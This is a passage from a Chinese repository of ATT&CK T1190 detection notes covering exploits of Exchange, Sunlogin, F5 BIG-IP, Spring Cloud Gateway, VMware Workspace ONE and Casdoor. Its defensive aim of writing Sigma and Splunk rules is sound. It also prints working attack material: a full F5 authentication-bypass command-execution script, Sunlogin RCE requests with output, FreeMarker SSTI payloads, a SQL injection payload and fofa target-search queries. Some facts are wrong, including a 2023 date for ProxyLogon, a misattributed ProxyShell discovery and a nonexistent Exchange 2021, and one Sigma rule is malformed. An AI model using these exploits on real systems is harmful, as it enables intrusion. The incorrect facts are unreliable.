未授权任意文件读取漏洞\n<https://www.cnblogs.com/bflw/p/15659188.html>\nCVE-2021-43798 Grafana 任意文件读取漏洞分析\n<https://saucer-man.com/information_security/856.html>\n朴实无华的Grafana未授权任意文件读取漏洞批量验证脚本\n<https://www.t00ls.cc/thread-63673-1-1.html>\n"
  },
  {
    "path": "Web/2021/T1190-Exchange-ProxyLogon利用行为检测.md",
    "content": "# T1190-Exchange-ProxyLogon利用行为检测------------------------------------------------------------------------------------------------------------------------------------------------------\n## 来自ATT&CK的描述------------------------------------------------------------------------------------------------------------------------------------------------------\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。------------------------------------------------------------------------------------------------------------------------------------------------------\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。------------------------------------------------------------------------------------------------------------------------------------------------------\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。------------------------------------------------------------------------------------------------------------------------------------------------------\n## ProxyLogon------------------------------------------------------------------------------------------------------------------------------------------------------\n在2023年3月份，微软公布了多个Microsoft Exchange的高危漏洞，通过组合利用这些漏洞可以在未经身份验证的情况下远程获取服务器权限。这套组合拳被称为ProxyLogon。安全研究员Orange Tsai于2020年底发现该系列漏洞并命名。------------------------------------------------------------------------------------------------------------------------------------------------------\nCVE-2021-26855是一个SSRF漏洞，利用该漏洞可以绕过Exchange的身份验证，CVE-2021-27065是一个文件写入漏洞。二者结合可以在未登录的状态下写入webshell。------------------------------------------------------------------------------------------------------------------------------------------------------\n想要成功的利用该漏洞，整个攻击链接可能经过以下步骤：------------------------------------------------------------------------------------------------------------------------------------------------------\n* 通过SSRF漏洞攻击，访问autodiscover.xml泄露LegacyDN信息。\n* 在通过LegacyDN，获取SID。\n* 然后通过合法的SID，获取exchange的有效cookie。\n* 最后通过有效的cookie，对OABVirtualDirectory对象进行恶意操作，写入一句话木马，达到控制目标的效果。------------------------------------------------------------------------------------------------------------------------------------------------------\n## 测试案例------------------------------------------------------------------------------------------------------------------------------------------------------\n参考Freebuf文章：MS Exchange攻击日志分析三------------------------------------------------------------------------------------------------------------------------------------------------------\n## 检测日志------------------------------------------------------------------------------------------------------------------------------------------------------\nMSExchange CmdletLogs------------------------------------------------------------------------------------------------------------------------------------------------------\n## 测试留痕------------------------------------------------------------------------------------------------------------------------------------------------------\n暂无------------------------------------------------------------------------------------------------------------------------------------------------------\n## 检测规则/思路------------------------------------------------------------------------------------------------------------------------------------------------------\n### sigma规则------------------------------------------------------------------------------------------------------------------------------------------------------\n```\ntitle: MSExchange CmdletLogs monitors ProxyLogon webshell writing behavior\ndescription: windows server 2016\nauthor: DHZN\nlogsource:\n    product: windows\n    service: MSExchange CmdletLogs\ndetection:\n    selection:\n        EventID: 1\n        Message|contains|all:\n              - 'Set-'\n              - 'VirtualDirectory'\n              - '-ExternalUrl'\n              - 'script'\n    condition: selection\nlevel: medium------------------------------------------------------------------------------------------------------------------------------------------------------\n```\n- -----------------------------------------------------------------------------------------------------------------------------------------------------\n### 建议------------------------------------------------------------------------------------------------------------------------------------------------------\n暂无------------------------------------------------------------------------------------------------------------------------------------------------------\n## 参考推荐------------------------------------------------------------------------------------------------------------------------------------------------------\n[ProxyLogon漏洞分析](https://hosch3n.github.io/2021/08/22/ProxyLogon%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)------------------------------------------------------------------------------------------------------------------------------------------------------\n[Exchange漏洞分析（一）：SSRF RCE（CVE-2021-26855、CVE-2021-27065）](https://www.anquanke.com/post/id/259902)------------------------------------------------------------------------------------------------------------------------------------------------------\n[复现Microsoft Exchange Proxylogon漏洞利用链](https://xz.aliyun.com/t/9305#toc-8)------------------------------------------------------------------------------------------------------------------------------------------------------\n[Falcon Complete Stops Microsoft Exchange Server Zero-Day Exploits](https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits/)------------------------------------------------------------------------------------------------------------------------------------------------------\n[HAFNIUM targeting Exchange Servers with 0-day exploits](https://www.microsoft.com/en-us/security/blog/2021/03/02/hafnium-targeting-exchange-servers/)------------------------------------------------------------------------------------------------------------------------------------------------------\n"
  },
  {
    "path": "Web/2021/T1190-Exchange-ProxyShell利用行为检测.md",
    "content": "# T1190-Exchange-ProxyShell利用行为检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## ProxyShell\nProxyShell攻击链是2021年8月由安全研究员Kevin Beaumont发现的一系列Microsoft Exchange服务器漏洞。这些漏洞影响了Exchange Server 2016、Exchange Server 2019、Exchange Server 2021和Exchange Online。\nProxyShell攻击链由三个CVE漏洞组成：\n- CVE-2021-34473：未经身份验证的用户可以通过修改请求头来访问Exchange服务器中的PowerShell端点。\n- CVE-2021-34523：攻击者可以通过修改请求头来绕过Exchange服务器的身份验证。\n- CVE-2021-31207：攻击者可以通过修改请求头来执行任意PowerShell脚本。\n## 测试案例\n参考Freebuf文章：MS Exchange攻击日志分析三\n## 检测日志\nMSExchange CmdletLogs\n## 测试留痕\n暂无\n## 检测规则/思路\n### sigma规则\n```\ntitle: Use MSExchange CmdletLogs or Powershell logs to monitor ProxShell vulnerability exploitation behavior\ndescription: windows server 2016\nauthor: DHZN\nlogsource:\n    product: windows\n    service: MSExchange CmdletLogs/PoweShell\ndetection:\n    selection1:\n        EventID: 1\n        Message|contains|all:\n              - 'New-MailboxExportRequest'\n              - 'FilePath'\n    selection2:\n        EventID: 4104\n        Message|contains|all: 'Get-MailboxExportRequest'\n    condition: selection\nlevel: medium\n```\n### 建议\n暂无\n## 参考推荐\n[pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers](https://www.mandiant.com/resources/blog/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers)\n[ProxyShell漏洞复现](https://ad-calcium.github.io/2021/08/exchange-proxyshell%E5%A4%8D%E7%8E%B0/)\n"
  },
  {
    "path": "Web/2022/T1190-CNVD-2022-03672-向日葵RCE漏洞.md",
    "content": "# T1190-CNVD-2022-03672-向日葵RCE漏洞检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n上海贝锐信息科技股份有限公司的向日葵远控软件存在远程代码执行漏洞（CNVD-2022-10270/CNVD-2022-03672），影响Windows系统使用的个人版和简约版，攻击者可利用该漏洞获取服务器控制权。\n\n影响版本\n```\nyml\n向日葵个人版   for Windows <= 11.0.0.33\n向日葵简约版   <= V1.0.1.43315（2021.12\n```\n\n## 检测日志\nHTTP\n## 测试复现\n网络上公开工具较多，可自行下载进行本地测试，请勿进行非法测试。\n\n攻击机：kali，10.211.55.35\n靶机：win10，10.211.55.31\n\n```\nbash\n┌──(root㉿361)-[/home/liyang]\n└─# ./sunrce -h 10.211.55.31 -p 40000-60000 -m 1000\n[+] start to scan open port......\n10.211.55.31:50340      open |Success discovery the sunrce vulnerability\n10.211.55.31:49666      open |NULL\n10.211.55.31:49669      open |NULL\n10.211.55.31:49665      open |NULL\n10.211.55.31:49668      open |NULL\n10.211.55.31:49664      open |NULL\n10.211.55.31:49667      open |NULL\n10.211.55.31:49670      open |NULL\nSunRce vulnerability scan over\n# 探测向日葵使用的端口                                  \n```\n\n```\nbash\n──(root㉿361)-[/home/liyang]\n└─# ./sunrce -h 10.211.55.31 -ps 50340 -shell\nCmd:whoami\nnt authority\\system\nCmd:net user\n\\\\ 的用户帐户\n\nAdministrator            DefaultAccount           Guest\nliyang                   WDAGUtilityAccount\n命令运行完毕，但发生一个或多个错误。\nCmd:exit\n```\n\n## 漏洞分析/日志留痕\n### 未授权认证\n当SunloginCLient.exe在Windows上执行时，会连接远程Oray的服务器，同时也会打开一个大于40000的端口监听外部的连接访问（具体是否从40000往上随即开启端口，这个没有调试，网上是这么说的，我们主要看的是发生利用的代码部分）。\n对其中一部分接口，Sunlogin统一对其进行处理。\n接着会执行至函数sub_140E21528，分别对不同接口进行不同的处理。在接口/cgi-bin/rpc的Handler处理函数中可以进行未授权认证。\n获取action参数值，如果值为verify-haras，即action=verify-haras，那么可以在没有识别码和验证码的情况下认证成功。\n成功后返回一个verify_string，作为之后再次访问时Cookie字段中使用的CID值。\n```\nbash\nGET /cgi-bin/rpc?action=verify-haras HTTP/1.1\nHost: 10.211.55.31:50340\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nCache-Control: no-cache\nContent-Type: text/html\nContent-Length: 87\n{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"6onb943qKJoXQGAmr1BKArugFlO9949g\",\"code\":0} \n```\n- -----------------\n### RCE\n漏洞发生在接口/check处，当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用。\n发送请求时需要在请求头中指定Cookie字段中CID的值为之前/cgi-bin/rpc返回的verify_string值。下面是通过ping拼接的利用请求。\n```\nbash\nGET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami HTTP/1.1\nHost: 10.211.55.31:50340\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nCookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nCache-Control: no-cache\nContent-Type: text/json\nContent-Length: 21\nnt authority\\system\nGET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+net+user HTTP/1.1\nHost: 10.211.55.31:50340\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nCookie: CID=6onb943qKJoXQGAmr1BKArugFlO9949g\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nCache-Control: no-cache\nContent-Type: text/json\nContent-Length: 269-\n\\\\ ..........\n\nAdministrator            DefaultAccount           Guest\nliyang                   WDAGUtilityAccount\n```\n\n## 监测规则\n特征1:\n请求数据：GET /cgi-bin/rpc?action=verify-haras，返回数据：verify_string；\n特征2:\n请求数据：GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe\n请求数据：GET /check?cmd=ping%20127.0.0.1%20|%20cmd%20/c%20echo%20whoami%00\n请求数据：GET /check?cmd=ping../../../SysWOW64/cmd.exe+/c+net+user\n主要是针对常见的拼接路径进行监测，返回数据也存在一些特征，可以根据实际情况进行设置高精准匹配。\n### 建议\n可根据具体常见的路径进行监测。安全设备+运营人员经验，能够达到更好的效果。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nSunlogin RCE漏洞分析和使用\n<https://www.1024sou.com/article/742604.html>\n向日葵远程命令执行程序分析\n<http://www.exp-9.com/post/44.html>\n"
  },
  {
    "path": "Web/2022/T1190-CVE-2022-1388-F5BIG-IP未授权RCE.md",
    "content": "# T1190-CVE-2022-1388-F5BIG-IP未授权RCE\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n在F5 BIG-IP 16.1.x 16.1.2.2之前的版本、15.1.5.1之前的15.1.x版本、14.1.4.6之前的14.1.x版本、13.1.5之前的13.1.x版本以及所有12.1.x和11.6.x版本，未公开的请求可能会绕过iControl REST身份验证。注意：未评估已达到技术支持终止(EoTS)的软件版本。\n此漏洞可能允许未经身份验证的攻击者通过管理端口和/或自身IP地址对BIG-IP系统进行网络访问，以执行任意系统命令、创建或删除文件或禁用服务。没有数据平面暴露；这只是一个控制平面问题。\n## 检测日志\nHTTP.log\n## 测试复现\n[POC地址](https://github.com/horizon3ai/CVE-2022-1388)\n具体POC可参考：\n```\npython\n# !/usr/bin/python3\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings()\ndef exploit(target, command):\n    url = f'https://{target}/mgmt/tm/util/bash'\n    headers = {\n        'Host': '127.0.0.1',\n        'Authorization': 'Basic YWRtaW46aG9yaXpvbjM=',\n        'X-F5-Auth-Token': 'asdf',\n        'Connection': 'X-F5-Auth-Token',\n        'Content-Type': 'application/json'\n\n    }\n    j = {\"command\":\"run\",\"utilCmdArgs\":\"-c '{0}'\".format(command)}\n    r = requests.post(url, headers=headers, json=j, verify=False)\n    r.raise_for_status()\n    if ( r.status_code != 204 and r.headers[\"content-type\"].strip().startswith(\"application/json\")):\n        print(r.json()['commandResult'].strip())\n    else:\n        print(\"Response is empty! Target does not seems to be vulnerable..\")\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)\n    parser.add_argument('-c', '--command', help='The command to execute')\n    args = parser.parse_args()\n    exploit(args.target, args.command)\n```\n## 测试留痕\n无\n## 检测规则/思路\n### Sigma规则\n```\nyml\ntitle: F5-BIG-IP-RCE(CVE-2022-1388)\nstatus: experimental\ndescription: F5 recently patched a critical vulnerability in their BIG-IP iControl REST endpoint CVE-2022-1388. This vulnerability is particularly worrisome for users because it is simple to exploit and provides an attacker with a method to execute arbitrary system commands.\nreferences:\n    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/\n    - https://www.randori.com/blog/vulnerability-analysis-cve-2022-1388/\nauthor: 12306Br0\ndate: 2022/05/15\ntags:\n    - attack.t1190\nlogsource:\n    category: webserver\ndetection:\n    selection:\n        cs-method: 'POST'\n        c-uri|contains|all:\n            - '/mgmt/tm/util/bash'\n        cs-Connection: '*X-F5-Auth-Token*'\n        cs-X-F5-Auth-Token: '*'\n        cs-Authorization: '*'\n    condition: selection\nfalsepositives:\n    - Unknown\nlevel: critical\ntags:\n    - attack.t1190\n    - cve.2022.1388\n```\n### 建议\n似乎并没有什么好的建议，规则未经过仿真环境测试，请谨慎使用。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2022-1388\n<https://github.com/horizon3ai/CVE-2022-1388>\nF5 BIG-IP未授权RCE（CVE-2022-1388）分析\n<https://www.anquanke.com/post/id/273011#h2-2>\n"
  },
  {
    "path": "Web/2022/T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞.md",
    "content": "# T1190-CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n### 简介\n2022年3月1日，VMware官方发布漏洞报告，在使用Spring Colud Gateway的应用程序开启、暴露Gateway Actuator端点时，会容易造成代码注入攻击，攻击者可以制造恶意请求，在远程主机进行任意远程执行。\n### 受影响版本\n```\nyml\nSpring Cloud Gateway 3.1.x < 3.1.1\nSpring Cloud Gateway 3.0.x < 3.0.7\n旧的、不受支持的版本也会受到影响\n```\n### EXP/POC\n请勿用做非法用途，仅用于检测测试。\n已公开Poc：\n```\nyml\nhttps://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947\n```\n## 检测日志\nHTTP.log\n## 测试复现\n```\nbash\nsudo python3 spring_cloud_RCE.py  http://123.*.*.*:*\nusage: python3 test.py url\n{\"predicate\":\"RouteDefinitionRouteLocator$$Lambda$1054/1342702643\",\"route_id\":\"hacktest\",\"filters\":[\"[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\\n'], order = 1]\"],\"uri\":\"http://example.com:80\",\"order\":0}\n```\n## 测试留痕\n[流量包下载地址](https://github.com/Network-security-data-sharing/Attack-traffic-PACPs/tree/main/2022/CVE-2022-22947 Spring Cloud \"\"Gateway远程代码执行.pcapng\"\")\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nSpring-Cloud-Gateway-CVE-2022-22947\n<https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947>\nCVE-2022-22947远程代码执行漏洞复现分析\n<https://www.freebuf.com/vuls/324386.html>\n"
  },
  {
    "path": "Web/2022/T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行.md",
    "content": "# T1190-CVE-2022-22954-VMware Workspace ONE Access SSTI远程代码执行\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n### 简介\nVMware Workspace ONE Access and Identity Manager包含一个由于服务器端模板注入而导致的远程代码执行漏洞。VMware已将此问题的严重性评估为处于严重严重性范围内 ，CVSSv3基本得分最高为9.8。\n具有网络访问权限的恶意行为者可以触发可能导致远程代码执行的服务器端模板注入。\n### 受影响版本\n```\nyml\nVMware Workspace ONE Access Appliance （版本号：20.10.0.0 ，20.10.0.1 ，21.08.0.0 ，21.08.0.1 ）\nVMware Identity Manager Appliance （版本号：3.3.3 ， 3.3.4 ， 3.3.5 ，3.3.6）\nVMware Realize Automation （版本号：7.6）\n```\n### EXP/POC\n请勿用做非法用途，仅用于检测测试。\nfofa语法：\n```\nyml\nicon_hash=\"-1250474341\"\napp=\"vmware-Workspace-ONE-Access\" || app=\"vmware-Identity-Manager\"\n```\n```\nyml\n/catalog-portal/ui?code=&deviceUdid=&deviceType=%24%7B\"freemarker.template.utility.Execute\"%3Fnew%28%29%28\"id\"%29%7D\n/catalog-portal/hub-ui?deviceType=&deviceUdid=%24%7B\"freemarker.template.utility.Execute\"%3Fnew%28%29%28\"id\"%29%7D\n/catalog-portal/hub-ui/byob?deviceType=&deviceUdid=%24%7B\"freemarker.template.utility.Execute\"%3Fnew%28%29%28\"id\"%29%7D\n/catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=%24%7B\"freemarker.template.utility.Execute\"%3Fnew%28%29%28\"id\"%29%7D\n/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7B\"freemarker.template.utility.Execute\"%3Fnew%28%29%28\"id\"%29%7D\n```\nURL decode\n```\nyml\n/catalog-portal/ui?code=&deviceUdid=&deviceType=${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n/catalog-portal/hub-ui?deviceType=&deviceUdid=${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n/catalog-portal/hub-ui/byob?deviceType=&deviceUdid=${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n/catalog-portal/ui/oauth/verify?error=&deviceType=&deviceUdid=${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=${\"freemarker.template.utility.Execute\"?new()(\"id\")}\n```\n[批量脚本传送门](https://github.com/bewhale/CVE-2022-22954)\n## 检测日志\nHTTP.log\n## 测试复现\n无\n## 测试留痕\n无\n## 检测规则/思路\n[Splunk公开规则](https://github.com/splunk/security_content/blob/develop/detections/web/vmware_server_side_template_injection_hunt.yml)\n```\nsql\n| tstats count from datamodel=Web where Web.http_method IN (\"GET\")\n  Web.url=\"*deviceudid=*\" AND Web.url IN (\"*java.lang.ProcessBuilder*\",\"*freemarker.template.utility.ObjectConstructor*\")\n  by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype\n  | `drop_dm_object_name(\"Web\")`\n  | `security_content_ctime(firstTime)`\n  | `security_content_ctime(lastTime)`\n  | `vmware_server_side_template_injection_hunt_filter\n```\n结合状态码及返回内容包进行分析研判。以下可作为参考：\n```\nyml\n返回状态为200，且包涵Authorization context is not valid\n```\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nvmware_server_side_template_injection_hunt\n<https://github.com/splunk/security_content/blob/develop/detections/web/vmware_server_side_template_injection_hunt.yml>\n利用脚本\n<https://github.com/bewhale/CVE-2022-22954>\nCVE-2022-22954 VMware Workspace ONE Access SSTI RCE\n<https://xz.aliyun.com/t/11196>\nzeek-CVE-2022-22954\n<https://github.com/corelight/cve-2022-22954>\n"
  },
  {
    "path": "Web/2022/T1190-CVE-2022-24124-Casdoor SQL注入漏洞.md",
    "content": "# T1190-CVE-2022-24124-Casdoor SQL注入漏洞\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## 测试案例\n### 简介\nCasdoor是一个基于OAuth 2.0/OIDC的中心化的单点登录（SSO）身份验证平台，简单来说，就是Casdoor可以帮你解决用户管理的难题，你无需开发用户登录、注册等与用户鉴权相关的一系列功能，只需几个步骤进行简单配置，与你的主应用配合，便可完全托管你的用户模块，简单省心，功能强大。Casdoor目前作为Casbin社区项目统一使用的鉴权平台，并且项目已开源。\n此漏洞属于Sql注入漏洞，在查询API存在与字段和值参数相关的SQL注入漏洞。\n### 受影响版本\n```\nyml\nCasdoor < Casdoor 1.13.1 //1.13.1版本之前均受影响\n```\n- -------------------------------------\n### EXP/POC\n请勿用做非法用途，仅用于检测测试。\n```\nyml\n/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)\n```\n\n已公开Poc：\n```\nyml\nhttps://github.com/cukw/CVE-2022-24124_POC\n```\n\n## 检测日志\nHTTP.log\n## 测试复现\n参考测试留痕部分\n## 测试留痕\n```\nyml\nGET /api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3) HTTP/1.1\nHost: 123.58.224.8:57939\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: keep-alive\nReferer: http://123.58.224.8:57939/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),3)\nCookie: casdoor_session_id=54fbcdd93bdb8ce82c6dd4a02831a7c9\nUpgrade-Insecure-Requests: 1\nHTTP/1.1 200 OK\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Headers: Origin\nAccess-Control-Allow-Methods: GET,PUT,PATCH\nAccess-Control-Allow-Origin:\nAccess-Control-Expose-Headers: Content-Length\nServer: beegoServer:1.12.3\nDate: Sun, 25 Sep 2022 14:32:58 GMT\nContent-Length: 1946\nContent-Type: text/html; charset=utf-8\n<!DOCTYPE html>\n<html>\n<head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>beego application error</title>\n    <style>\n        html, body, body * {padding: 0; margin: 0;}\n        #header {background:#ffd; border-bottom:solid 2px #A31515; padding: 20px 10px;}\n        #header h2{ }\n        #footer {border-top:solid 1px #aaa; padding: 5px 10px; font-size: 12px; color:green;}\n        #content {padding: 5px;}\n        #content .stack b{ font-size: 13px; color: red;}\n        #content .stack pre{padding-left: 10px;}\n        table {}\n        td.t {text-align: right; padding-right: 5px; color: #888;}\n    </style>\n    <script type=\"text/javascript\">\n    </script>\n</head>\n<body>\n    <div id=\"header\">\n        <h2>casdoor:Error 1105: XPATH syntax error: &#39;.12-MariaDB-0&#43;deb11u1&#39;</h2>\n    </div>\n    <div id=\"content\">\n        <table>\n            <tr>\n                <td class=\"t\">Request Method: </td><td>GET</td>\n            </tr>\n            <tr>\n                <td class=\"t\">Request URL: </td><td>/api/get-organizations?p=123&amp;pageSize=123&amp;value=cfx&amp;sortField=&amp;sortOrder=&amp;field=updatexml(1,version(),3)</td>\n            </tr>\n            <tr>\n                <td class=\"t\">RemoteAddr: </td><td>10.0.0.2</td>\n            </tr>\n        </table>\n        <div class=\"stack\">\n            <b>Stack</b>\n            <pre>/usr/local/go/src/runtime/panic.go:1038\n/go/src/casdoor/object/organization.go:48\n/go/src/casdoor/controllers/organization.go:45\n/usr/local/go/src/reflect/value.go:543\n/usr/local/go/src/reflect/value.go:339\n/go/pkg/mod/github.com/astaxie/beego@v1.12.3/router.go:897\n/usr/local/go/src/net/http/server.go:2879\n/usr/local/go/src/net/http/server.go:1930\n/usr/local/go/src/runtime/asm_amd64.s:1581\n</pre>\n        </div>\n    </div>\n    <div id=\"footer\">\n        <p>beego 1.12.3 (beego framework)</p>\n        <p>golang version: go1.17.5</p>\n    </div>\n</body>\n</html>\n```\n\n关注GET请求URL路径内容以及返回包信息，辅助研判。\n## 参考推荐\nMITRE-ATT&CK-T1190\n<https://attack.mitre.org/techniques/T1190/>\nCVE-2022-24124_POC\n<https://github.com/cukw/>\n"
  },
  {
    "path": "Web/2022/T1190-CVE-2022-26134-Confluence OGNL表达式注入命令执行漏洞.md",
